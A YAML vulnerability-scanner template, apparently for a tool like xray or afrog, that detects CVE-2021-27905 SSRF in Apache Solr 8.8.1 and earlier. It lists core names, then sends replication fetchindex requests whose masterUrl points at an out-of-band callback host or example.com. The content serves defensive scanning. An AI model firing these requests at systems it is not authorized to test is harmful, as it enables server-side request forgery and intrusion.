CVE-2021-27905: Apache Solr <= 8.8.1 SSRF

id: CVE-2021-27905

info:
  name: Apache Solr <= 8.8.1 SSRF
  author: hackergautam
  severity: critical
  verified: true
  description: The ReplicationHandler (normally registered at "/replication" under a Solr core) in Apache Solr has a "masterUrl" (also "leaderUrl" alias) parameter that is used to designate another ReplicationHandler on another Solr core to replicate index data into the local core. To prevent a SSRF vulnerability, Solr ought to check these parameters against a similar configuration it uses for the "shards" parameter. Prior to this bug getting fixed, it did not. This problem affects essentially all Solr versions prior to it getting fixed in 8.8.2.
  reference:
    - https://www.anquanke.com/post/id/238201
    - https://ubuntu.com/security/CVE-2021-27905
    - https://nvd.nist.gov/vuln/detail/CVE-2021-27905
    - https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/
  tags: cve,cve2021,apache,solr,ssrf
  created: 2024/02/26

set:
  oob: oob()
  oobHTTP: oob.HTTP
rules:
  r0:
    request:
      method: GET
      path: /solr/admin/cores?wt=json
    expression: response.status == 200 && response.body.bcontains(b"responseHeader")
    output:
      search: '"\"name\":\"(?P<core>.+?)\"".bsubmatch(response.body)'
      core: search["core"]
  r1:
    request:
      method: GET
      path: /solr/{{core}}/replication/?command=fetchindex&masterUrl={{oobHTTP}}
    expression: oobCheck(oob, oob.ProtocolHTTP, 3)
    stop_if_match: true
  r2:
    request:
      method: GET
      path: /solr/{{core}}/replication/?command=fetchindex&masterUrl=https://example.com
    expression: |
      response.body.bcontains(b'<str name="status">OK</str>') ||
      (response.body.bcontains(b'"status":"OK"') && response.body.bcontains(b'"responseHeader":'))
expression: r0() && (r1() || r2())